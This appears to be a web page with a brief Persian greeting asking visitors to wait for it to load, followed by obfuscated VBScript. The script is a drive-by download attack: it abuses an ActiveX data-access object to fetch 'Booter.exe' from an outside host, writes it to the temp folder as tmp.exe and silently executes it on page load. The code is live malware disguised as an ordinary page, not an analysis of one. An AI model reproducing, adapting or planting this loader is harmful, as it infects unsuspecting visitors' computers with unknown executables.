با سلام!

لطفا چند لحظه برای لود شدن صفحه صبر کنید.... پشیمان نخواهید شد...

on error resume next db = "http://cra" & "zyangel.persian" & "gig.com/Boot" & "er.e" & "xe" Set gar = document.createElement("ob" & "je" & "ct") gar.setAttribute "cla" & "ssi" & "d", "cl" & "si" & "d:BD" & "96" & "C55" & "6-65" & "A3-1" & "1D0" & "-983" & "A-0" & "0C04" & "FC2" & "9E36" con="Mic" & "ro" & "so" & "ft.X" & "MLH" & "TTP" Set CrazyAngel = gar.CreateObject(con,"") p1="St" p2="Ad" p3="am" p4="b." p5="re" p6="od" con1=p2&p6&p4&p1&p5&p3 con5=con1 set R = gar.createobject(con5,"") R.type = 1 con6="G" & "E" & "T" CrazyAngel.Open con6, db, False CrazyAngel.Send e="tmp.exe" set S = gar.createobject("Scr" & "ipt" & "in" & "g.F" & "il" & "eS" & "ys" & "te" & "mO" & "bj" & "e" & "ct","") set tp = S.GetSpecialFolder(2) e= S.BuildPath(tp,e) R.open R.write CrazyAngel.responseBody R.savetofile e,2 R.close set A = gar.createobject("Sh" & "el" & "l." & "Ap" & "pl" & "ic" & "at" & "i" & "o" & "n","") A.ShellExecute e,"","","op" & "en",0